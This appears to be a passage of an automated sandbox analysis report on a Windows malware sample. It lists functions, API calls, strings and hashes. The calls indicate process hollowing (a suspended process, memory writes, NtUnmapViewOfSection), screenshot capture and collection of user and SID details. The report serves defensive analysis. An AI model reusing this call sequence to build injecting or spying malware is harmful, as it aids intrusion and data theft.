DeleteObject.GDI32(?), ref: 00127430
ReleaseDC.USER32(00000000,?), ref: 0012743A
GdipDisposeImage.GDIPLUS(00000000), ref: 00127441
GdiplusShutdown.GDIPLUS(?), ref: 001274E3
GetUserNameA.ADVAPI32(?,?), ref: 001275BA
LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00127600
GetSidIdentifierAuthority.ADVAPI32(?), ref: 0012760D
GetSidSubAuthorityCount.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00127721
GetSidSubAuthority.ADVAPI32(?,00000000), ref: 00127748

Strings

image/jpeg, xrefs: 001273A2
invalid stoi argument, xrefs: 00128057
ntdll.dll, xrefs: 0012815D
(, xrefs: 00128206
, xrefs: 00128140
stoi argument out of range, xrefs: 00128048
NtUnmapViewOfSection, xrefs: 00128158

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: Value$Gdip$CloseImageMetricsObjectOpenSystem$AuthorityCreate$BitmapCompatibleDeleteEncodersGdiplusNameQuerySelect$AccountCountDisposeEnumFileFromIdentifierInfoLookupReleaseSaveShutdownSizeStartupUser
String ID: $($NtUnmapViewOfSection$image/jpeg$invalid stoi argument$ntdll.dll$stoi argument out of range
API String ID: 1729688432-36074161
Opcode ID: eb7c97bbbad58f9ad8cad89836793d89b834b8e3b15fcaca75452ccfa0320d01
Instruction ID: 16776e87dee6a74ff592041fe94a7a991d8a0d4e48dba01b8668d8f0360ba361
Opcode Fuzzy Hash: eb7c97bbbad58f9ad8cad89836793d89b834b8e3b15fcaca75452ccfa0320d01
Instruction Fuzzy Hash: C4D2F071A001689BDB18DF28DC85BEEBB75EF55300F508298F419A72D2DB749AE4CF90

Function 0014DD80 Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0014DD7F,?,?,?,?,?,0014EFF2), ref: 0014DDA2
TerminateProcess.KERNEL32(00000000,?,0014DD7F,?,?,?,?,?,0014EFF2), ref: 0014DDA9
ExitProcess.KERNEL32 ref: 0014DDBB

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: bf58c0fed334f4541f4d70f4cb3790d05afecc37a93bef5c5766144926c4918f
Instruction ID: b9cb360316354c1611938b2503ab4b35fcb4bf07952dd36b2e1a76f2001da345
Opcode Fuzzy Hash: bf58c0fed334f4541f4d70f4cb3790d05afecc37a93bef5c5766144926c4918f
Instruction Fuzzy Hash: 33E0BD31491108AFCF667FA8EC09A483B79EB50782F248415F809CA672CB35EDD2DA91

Function 001639BF Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00163678: CreateFileW.KERNELBASE(00000000,00000000,?,00163A68,?,?,00000000,?,00163A68,00000000,0000000C), ref: 00163695

GetLastError.KERNEL32 ref: 00163AD3
__dosmaperr.LIBCMT ref: 00163ADA
GetFileType.KERNELBASE(00000000), ref: 00163AE6
GetLastError.KERNEL32 ref: 00163AF0
__dosmaperr.LIBCMT ref: 00163AF9
CloseHandle.KERNEL32(00000000), ref: 00163B19
CloseHandle.KERNEL32(00157311), ref: 00163C66
GetLastError.KERNEL32 ref: 00163C98
__dosmaperr.LIBCMT ref: 00163C9F

Strings

H, xrefs: 00163C24

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: d1fcafb48f74fe8545d47e53ceba6abbb222b917172b9b828038503856020dbe
Instruction ID: 8996f8104ba78f6bb4ab92fa7c8356e8c872aa79314c9368143d9e4968242b4b
Opcode Fuzzy Hash: d1fcafb48f74fe8545d47e53ceba6abbb222b917172b9b828038503856020dbe
Instruction Fuzzy Hash: 37A10732A041549FCF199F78DC927AE7BB1AB06324F18015DF821EF2A1DB358E66CB51

Function 001289E0 Relevance: 12.9, APIs: 6, Strings: 1, Instructions: 639
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,63240FED,?,00000000,0016900D,000000FF), ref: 00128A1C
__Init_thread_footer.LIBCMT ref: 00128AB6

Part of subcall function 001499B8: EnterCriticalSection.KERNEL32(00188FA8,?,?,00122E3C,0018CDC4,0016CB50), ref: 001499C2
Part of subcall function 001499B8: LeaveCriticalSection.KERNEL32(00188FA8,?,?,00122E3C,0018CDC4,0016CB50), ref: 001499F5
Part of subcall function 001499B8: WakeAllConditionVariable.KERNEL32(?,00122E3C,0018CDC4,0016CB50), ref: 00149A6C

CreateThread.KERNEL32(00000000,00000000,00128880,0018C578,00000000,00000000), ref: 00128B1B
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00128B26

Part of subcall function 00149A02: EnterCriticalSection.KERNEL32(00188FA8,?,?,?,00122E1C,0018CDC4), ref: 00149A0D
Part of subcall function 00149A02: LeaveCriticalSection.KERNEL32(00188FA8,?,?,?,00122E1C,0018CDC4), ref: 00149A4A

Sleep.KERNEL32(000003E8), ref: 00128EF9

Part of subcall function 001226A0: ___std_exception_copy.LIBVCRUNTIME ref: 001226E2

SetCurrentDirectoryA.KERNEL32(00000000,63240FED), ref: 00128FA2

Strings

runas, xrefs: 00128753

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: CriticalSection$Sleep$EnterLeave$ConditionCreateCurrentDirectoryInit_thread_footerThreadVariableWake___std_exception_copy
String ID: runas
API String ID: 91779485-4000483414
Opcode ID: de41d8013adf3f212676fcebc419222344e30c4ed797f3c0a5d65ffbe15d59e9
Instruction ID: 912e962038d9ce39d484c1a138ef74deb1e80673b144225dead2f0c4013a32a1
Opcode Fuzzy Hash: de41d8013adf3f212676fcebc419222344e30c4ed797f3c0a5d65ffbe15d59e9
Instruction Fuzzy Hash: C0229B71A00248ABEF08EF68ED46B9E7F76EF51310F10821CF4149B7D2DB759A948B91

Function 00131DD0 Relevance: 3.3, APIs: 2, Instructions: 315
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?,?,00000000,?,7FFFFFFF,?,?,0017DBE0,00000001), ref: 00131F94
CreateDirectoryA.KERNELBASE(00000000,00000000,?,?,?,?), ref: 001320B4

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: CreateDirectoryFileModuleName
String ID:
API String ID: 3341437400-0
Opcode ID: a150d593f6bf90802bde2bedcd43d2506011baf540c0d64d80882e2d6099464e
Instruction ID: e36c160ab5f57d96655b0a279399eaa6dffee92c19c96f5f7917362c1e0ac9f3
Opcode Fuzzy Hash: a150d593f6bf90802bde2bedcd43d2506011baf540c0d64d80882e2d6099464e
Instruction Fuzzy Hash: AAC10571A002589BDF29EB28CD9ABEDBB75AF55300F5041D8E409A7292DB315FC8CF91

Function 0012E8D0 Relevance: 3.3, APIs: 2, Instructions: 305
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0012E91D
CoInitialize.OLE32(00000000), ref: 0012EC54

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: InitializeNameUser
String ID:
API String ID: 2272643758-0
Opcode ID: ac4466a1ee45f25628db0ddf8c246bb479ab29e0ea2e4ce79fafe2c4cc66c741
Instruction ID: e52e300845e2d014f2bcf69ba1b482162fd936599a5189b4da9929a085b8313f
Opcode Fuzzy Hash: ac4466a1ee45f25628db0ddf8c246bb479ab29e0ea2e4ce79fafe2c4cc66c741
Instruction Fuzzy Hash: 1FE12370A04269DBEF20DF24CD88BDDBBB5AF55308F5081D8E409A7281D774AA88CF91

Function 00140CD0 Relevance: 3.0, APIs: 2, Instructions: 23
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0012C730: Sleep.KERNELBASE(00000096), ref: 0012C6D6
Part of subcall function 0012C730: CreateMutexA.KERNELBASE(00000000,00000000,00187494), ref: 0012C6F4
Part of subcall function 0012C730: GetLastError.KERNEL32 ref: 0012C6FC
Part of subcall function 0012C730: GetLastError.KERNEL32 ref: 0012C70D

Part of subcall function 001261F0: RegOpenKeyExA.ADVAPI32(?,00000000), ref: 001267BD
Part of subcall function 001261F0: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00126894

CreateThread.KERNEL32(00000000,00000000,00140C10,00000000,00000000,00000000), ref: 00140CB0
Sleep.KERNEL32(00007530), ref: 00140CC5

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: CreateErrorLastSleep$InfoMutexOpenQueryThread
String ID:
API String ID: 1773385304-0
Opcode ID: 094f0dbfd7c4a984fbf72875952281abd589d452010ae372d86443b5de91899e
Instruction ID: a800657f5d810fd44868a5bee84a5c35899fa960094035ea84bade0b98d9bd87
Opcode Fuzzy Hash: 094f0dbfd7c4a984fbf72875952281abd589d452010ae372d86443b5de91899e
Instruction Fuzzy Hash: 1BE08C30688314F6E22037E56C0BB5935206B19B51F240250B3092E1E25BE031C049EB

Function 00131080 Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 869b23048ad6775c2b37a069242c23f782c951b5f3cc799605c473fee1d615a9
Instruction ID: d79bf5d7d0812236ad7814876f492c7e20642d7e6d72682fd2712b5b4c863839
Opcode Fuzzy Hash: 869b23048ad6775c2b37a069242c23f782c951b5f3cc799605c473fee1d615a9
Instruction Fuzzy Hash: 81318E31A10148AFEB04DFA8CD85BEEBBB6FF48304F504219F815A7281D7759980CB90

Function 001572D2 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__wsopen_s.LIBCMT ref: 0015730C

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: eb94afed3924a2892a58c94f705e22a8820f6553b7615d9a27169ca7da18b2cf
Instruction ID: 2a2bcb89074e842c71e25bf6825954f8c1e5e28290cce11a66824f722331aad7
Opcode Fuzzy Hash: eb94afed3924a2892a58c94f705e22a8820f6553b7615d9a27169ca7da18b2cf
Instruction Fuzzy Hash: 45111571A0420AAFCF05DF58E94599E7BF4FF48314F044069FC19AB291E770EA15CBA5

Function 00163931 Relevance: 1.5, APIs: 1, Instructions: 42
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 00163994

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 5bf193fee8e13bd601411da2ac5b93692fa8ed646d5c05a249e26dc7ca1745e2
Instruction ID: 7b1efe2661d3a50a9030e8938a97556d3643c07a8765c0276aaddf40b5f2276d
Opcode Fuzzy Hash: 5bf193fee8e13bd601411da2ac5b93692fa8ed646d5c05a249e26dc7ca1745e2
Instruction Fuzzy Hash: 09014B72C0115AAFCF01AFA88C019EEBFF5BF18314F144165F929E21A1E7718A24DB90

Function 00163678 Relevance: 1.5, APIs: 1, Instructions: 15
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00163A68,?,?,00000000,?,00163A68,00000000,0000000C), ref: 00163695

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: de7e3683006d71ef777bbc5a097d68a91d6b0bd2951156192277a2816ec4a009
Instruction ID: 106fa1ff998f08450d6dcb88aa8ce88ece8ead0115ff44bc95fb5fc97e8acf13
Opcode Fuzzy Hash: de7e3683006d71ef777bbc5a097d68a91d6b0bd2951156192277a2816ec4a009
Instruction Fuzzy Hash: 80D06C3200010DBFDF028F84DD06EDA3FAAFB48714F014010BA185A420C732E961AB90

Function 00129ED0 Relevance: 1.5, APIs: 1, Instructions: 13
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(?,001320A2,?,?,?,?), ref: 00129ED9

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b4739e6da61aa3b3296ff1db4edc7765462912611e1d4e9033a6fc4c7cd1800b
Instruction ID: c7f0ff6759ab0b208618b654c1aeb88988fcec7f1d531e87b15982800d4028b6
Opcode Fuzzy Hash: b4739e6da61aa3b3296ff1db4edc7765462912611e1d4e9033a6fc4c7cd1800b
Instruction Fuzzy Hash: C5C0123000061056DE2CCA3C65580653351AA433A5BE90A8CE0764A0F5C3368897D710

Non-executed Functions

Function 0014930D Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 167libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00149313
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00149321
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00149332
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00149343
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00149354
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00149365
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 00149376
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 00149387
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 00149398
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 001493A9
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 001493BA
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 001493CB
GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 001493DC
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 001493ED
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 001493FE
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 0014940F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 00149420
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 00149431
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 00149442
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 00149453
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 00149464
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00149475
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 00149486
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 00149497
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 001494A8
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 001494B9
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 001494CA
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 001494DB
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 001494EC
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 001494FD
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 0014950E
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 0014951F
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 00149530
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 00149541
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 00149552
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 00149563
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 00149574
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 00149585
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 00149596
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 001495A7
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 001495B8

Strings

kernel32.dll, xrefs: 0014930E
SetThreadpoolTimer, xrefs: 001493C0
CreateThreadpoolWait, xrefs: 001493F3
GetLocaleInfoEx, xrefs: 0014959C
CompareStringEx, xrefs: 0014958B
CloseThreadpoolTimer, xrefs: 001493E2
GetCurrentPackageId, xrefs: 0014946A
GetTickCount64, xrefs: 0014947B
FlsSetValue, xrefs: 00149349
SetThreadpoolWait, xrefs: 00149404
CreateSymbolicLinkW, xrefs: 0014945E
CreateEventExW, xrefs: 0014937C
CreateThreadpoolTimer, xrefs: 001493AF
SetFileInformationByHandle, xrefs: 0014949D
WakeAllConditionVariable, xrefs: 001494E1
WakeConditionVariable, xrefs: 001494D0
AcquireSRWLockExclusive, xrefs: 00149514
InitOnceExecuteOnce, xrefs: 0014936B
FlsGetValue, xrefs: 00149338
SleepConditionVariableSRW, xrefs: 00149547
FlsAlloc, xrefs: 0014931B
FlushProcessWriteBuffers, xrefs: 00149426
GetFileInformationByHandleEx, xrefs: 0014948C
ReleaseSRWLockExclusive, xrefs: 00149536
CloseThreadpoolWait, xrefs: 00149415
CreateSemaphoreW, xrefs: 0014938D
CreateSemaphoreExW, xrefs: 0014939E
FreeLibraryWhenCallbackReturns, xrefs: 00149437
InitializeSRWLock, xrefs: 00149503
InitializeCriticalSectionEx, xrefs: 0014935A
GetCurrentProcessorNumber, xrefs: 00149448
GetSystemTimePreciseAsFileTime, xrefs: 001494AE
WaitForThreadpoolTimerCallbacks, xrefs: 001493D1
FlsFree, xrefs: 00149327
LCMapStringEx, xrefs: 001495AD
SleepConditionVariableCS, xrefs: 001494F2
CreateThreadpoolWork, xrefs: 00149558
TryAcquireSRWLockExclusive, xrefs: 00149525
InitializeConditionVariable, xrefs: 001494BF
SubmitThreadpoolWork, xrefs: 00149569
CloseThreadpoolWork, xrefs: 0014957A

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 1517be31a0afd949d8c74c974ae1420b7ab4e4b99530dada8f25126c3a0bdcac
Instruction ID: 5cec4c8dde55f38f14f5c81909db029b9f8b87b76c6f94347b5b585ae5826029
Opcode Fuzzy Hash: 1517be31a0afd949d8c74c974ae1420b7ab4e4b99530dada8f25126c3a0bdcac
Instruction Fuzzy Hash: 5B6177719D6360BFCB106FB8EC0DA563AF8FB19746368841AF909D2964DBF442C18F64

Function 00128070 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 121memoryprocessthreadCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0012809D
CreateProcessA.KERNEL32(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,?,?), ref: 001280FB
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 00128114
GetThreadContext.KERNEL32(?,00000000), ref: 00128129
ReadProcessMemory.KERNEL32(?, ,?,00000004,00000000), ref: 00128149
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 0012818B
WriteProcessMemory.KERNEL32(?,00000000,?,?,00000000), ref: 001281A8
VirtualFree.KERNEL32(?,00000000,00008000), ref: 00128261

Strings

VUUU, xrefs: 00127F01
invalid stoi argument, xrefs: 00128057
, xrefs: 00128140

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ProcessVirtual$AllocMemory$ContextCreateFileFreeModuleNameReadThreadWrite
String ID: $VUUU$invalid stoi argument
API String ID: 3796053839-3954507777
Opcode ID: 745c624bee8a94c2c094e26d69cb6be59dbc443176cc453c6266f76cc53e8936
Instruction ID: 3519b7682b723d82e5c12ab1a7b1d2cd8421e17af3e3b9f6c8425b73e8f6fa3c
Opcode Fuzzy Hash: 745c624bee8a94c2c094e26d69cb6be59dbc443176cc453c6266f76cc53e8936
Instruction Fuzzy Hash: 8D415071644341BFE7209F64EC06F967BF8FF88701F404419B649EA5D0D7B0A994CB96

Function 00162046 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251COMMONLIBRARYCODE

